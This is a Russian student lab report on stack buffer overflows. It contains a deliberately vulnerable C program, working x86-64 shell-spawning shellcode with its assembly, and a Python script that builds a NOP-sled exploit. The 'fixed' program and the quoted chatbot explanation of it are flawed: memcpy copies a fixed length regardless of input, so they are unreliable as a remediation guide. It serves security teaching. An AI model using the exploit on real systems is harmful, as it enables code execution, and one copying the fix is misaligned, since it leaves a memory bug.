1. Министерство высшего образования и науки Российской Федерации
2. Санкт-Петербургский Политехнический Университет Петра Великого
3. —
4. Институт кибербезопасности и защиты информации

**ЛАБОРАТОРНАЯ РАБОТА № 3**

«**изучение программных уязвимостей типа «переполнение буфера»**»

1. по дисциплине «Основы Информационной Безопасности»
2. Выполнил
3. студент гр. Белоконь Д. А.
4. <*подпись*>

Проверил Пахомов М. А.

1. <*подпись*>

1. Санкт-Петербург
2. 2023
3. **Цель работы**

Приобретение навыков по прикладному анализу программных уязвимостей типа «переполнение буфера» и по предотвращению их эксплуатации.

Формулировка задания

Необходимо создать пример уязвимой программы на языке C, проэксплуатировать заданную уязвимость, а затем с помощью сторонних программ проанализировать и на основе полученных данных устранить заданную уязвимость, после чего проверить надёжность.

Результаты

Для начала создадим простую уязвимую программу. Для лёгкости передачи данных воспользуемся аргументами командной строки. Уязвимость же будет возникать в вызываемой функции. Также необходимо при компиляции добавить флаг «-z execstack». Он меняет тип стека и разрешает выполнение команд в нём, что потребуется для выполнения шелл-кода.

Поскольку в данной работе используется дистрибутив Linux, вместо удаления ключа системного реестра будем просто вызывать оболочку bash. Находим нужный код длиной 27 байт: \x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05.

Далее пишем скрипт, который компонует вместе: «полосу» из 64-и инструкций NOP, шелл-код, оставшееся количество пропусков и нужный адрес.

Тестируя запуск через gdb (чтобы избежать проблемы с особенностями Linux), убеждаемся, что запускается командная строка вместо окончания работы программы.

В ожидании, пока соберётся хоть какая-то утилита статистического анализа кодов, обратимся к нейросети и попросим её проанализировать код на уязвимости. Ожидаемо, получаем ответ: «This function does not perform any bounds checking on the length of the input string or the size of the output buffer. As a result, an attacker could potentially overflow the buffer by providing a malformed input string and execute arbitrary code with the privileges of the process running the program that calls this function.»

Следуя совету проверять размер входной строки, добавляем этот пункт перед копированием строки. Проверяем. Видим, что не происходит никакой ошибки сегментирования, значит, перезаписи памяти больше нет. То же говорит и нейросеть: «In this updated implementation, you have reduced MAXLENGTH to 99 characters, allowing room for the null terminator (\0) within the fixed-size buffer. This change helps avoid any accidental errors caused by attempting to store strings longer than MAXLENGTH - 1 characters (assuming no input containing only zeros was passed). By doing this, you can now safely perform actions based on the content of the input without worrying too much about running into buffer overflow issues due to string termination.»

Вывод

Это было очень полезным погружением в работу операционных систем и программ. Благодаря данной работе были получены знания о работе памяти, о том, куда загружаются данные программы, какие манипуляции проводятся над этими программами, как Linux обращается с памятью и многое прочее.

**Приложение**

Приложение 1. Уязвимая программа.

#include <string.h>

void func(char \*input) {

char buffer[100];

strcpy(buffer, input);

}

int main(int argc, char \*argv[]) {

func(argv[1]);

return 0;

}

Приложение 2. Генератор шелл-кода.

#!/bin/python3

from sys import stdout

sled = b'\x90' \* 64

payload = b'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'

padding = (120 - 64 - 27) \* b'\x41'

eip = b'\x48\xde\xff\xff\xff\x7f'

stdout.buffer.write(sled + payload + padding + eip)

Приложение 3. Модифицированная программа.

#include <string.h>

void func(char \*input) {

int MAXLENGTH = 99;

char buffer[MAXLENGTH];

if (strlen(input) > 100)

return;

memcpy(buffer, input, MAXLENGTH);

}

int main(int argc, char \*argv[]) {

func(argv[1]);

return 0;

}

Приложение 4. Ассемблер код шелл-кода.

main:

;mov rbx, 0x68732f6e69622f2f

;mov rbx, 0x68732f6e69622fff

;shr rbx, 0x8

;mov rax, 0xdeadbeefcafe1dea

;mov rbx, 0xdeadbeefcafe1dea

;mov rcx, 0xdeadbeefcafe1dea

;mov rdx, 0xdeadbeefcafe1dea

xor eax, eax

mov rbx, 0xFF978CD091969DD1

neg rbx

push rbx

;mov rdi, rsp

push rsp

pop rdi

cdq

push rdx

push rdi

;mov rsi, rsp

push rsp

pop rsi

mov al, 0x3b

syscall